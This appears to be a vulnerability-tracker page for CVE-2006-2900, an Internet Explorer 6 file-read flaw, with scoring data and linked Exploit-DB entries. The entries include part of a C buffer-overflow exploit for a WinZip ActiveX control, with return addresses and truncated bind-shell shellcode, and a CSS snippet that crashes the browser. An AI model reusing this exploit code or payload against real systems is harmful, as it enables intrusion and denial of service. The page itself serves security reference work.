CVE-2006-2900
published 2006-06-07CVE-2006-2900: Internet Explorer 6 allows user-assisted remote attackers to read arbitrary files by tricking a user into typing the characters of the target filename in a…
PriorityP422medium4CVSS 2.0
AVNACHAuNCPIPAN
EPSS
12.61%
95.8th percentile
Internet Explorer 6 allows user-assisted remote attackers to read arbitrary files by tricking a user into typing the characters of the target filename in a text box and using the OnKeyDown, OnKeyPress, and OnKeyUp Javascript keystroke events to change the focus and cause those characters to be inserted into a file upload input control, which can then upload the file when the user submits the form.
Affected
2 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| microsoft | ie | — | — |
| microsoft | ie | — | — |
Stop checking back — get the weekly exploitation signal.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
Microsoft Internet Explorer 7 - CSS Width Element Denial of Service
exploitdb·2006-12-06
CVE-2006-6311 Microsoft Internet Explorer 7 - CSS Width Element Denial of Service
Microsoft Internet Explorer 7 - CSS Width Element Denial of Service
---
source: https://www.securityfocus.com/bid/21466/info
Microsoft Internet Explorer is prone to a denial-of-service vulnerability because the application fails to handle exceptional conditions.
This issue is triggered when an attacker entices a victim user to visit a malicious website.
Remote attackers may exploit this issue to crash Internet Explorer, effectively denying service to legitimate users.
Internet Explorer 6 and 7 are vulnerable to this issue; other versions may also be affected.
Another non-standards compliant IE D.O.S. IE makes my life harder :(. It sucks, don't use it :). Written by xiam. Tested under IE 6.0.2900.2180
Exploit-DB
WinZip 10.0.7245 - FileView ActiveX Remote Buffer Overflow
exploitdb·2006-11-15
CVE-2006-6884 WinZip 10.0.7245 - FileView ActiveX Remote Buffer Overflow
WinZip 10.0.7245 - FileView ActiveX Remote Buffer Overflow
---
/* WinZip
*
* - prdelka
*/
#include
#include
#include
#include
#include
#include
#include
#define NOPSIZE 999999
struct target {
char* name;
int retaddr;
};
struct shellcode {
char* name;
short port;
int host;
char* shellcode;
};
int targetno = 1;
struct target targets[] = {
{"WinXP SP2(en) WinZIP 10.0.6667",0x02DA3269}
/* IE 6.0.2900.2180.xp_sp2_gdr.050301-1519 WZ 10.0(6667)" */
};
int shellno = 2;
struct shellcode shellcodes[] = {
{"Win32 x86 bind() shellcode (4444/tcp default)",162,-1,
"\x48\x40\xf5\x49\xd6\x4a\xf9\x91\x47\x96\x2f\xf8\x9b\x37\x41\xf5"
"\x99\x47\xf9\xf9\xfc\xf9\x48\x4e\x4b\x9b\x90\x9b\xf5\x97\x40\xf9"
"\xd6\x41\xf9\x48\x9b\x92\xfd\x9b\x49\x42\x4f\x9f\x90\xd6\x27\x9b"
"\x93\x46\x2f\x90\xfd\x4a\x6a\x51
Exploit-DB
Microsoft Internet Explorer 6.0.2900 SP2 - CSS Attribute Denial of Service
exploitdb·2006-05-10
CVE-2006-7031 Microsoft Internet Explorer 6.0.2900 SP2 - CSS Attribute Denial of Service
Microsoft Internet Explorer 6.0.2900 SP2 - CSS Attribute Denial of Service
---
IE-Crash - By seven
#header{
position: fixed;
height: 761px;
width: 1268;
}
# milw0rm.com [2006-05-10]
No writeups or analysis indexed.
http://lists.grok.org.uk/pipermail/full-disclosure/2006-June/046610.htmlhttp://secunia.com/advisories/20449http://securityreason.com/securityalert/1059http://www.securityfocus.com/bid/18308http://www.vupen.com/english/advisories/2006/2161http://lists.grok.org.uk/pipermail/full-disclosure/2006-June/046610.htmlhttp://secunia.com/advisories/20449http://securityreason.com/securityalert/1059http://www.securityfocus.com/bid/18308http://www.vupen.com/english/advisories/2006/2161
2006-06-07
Published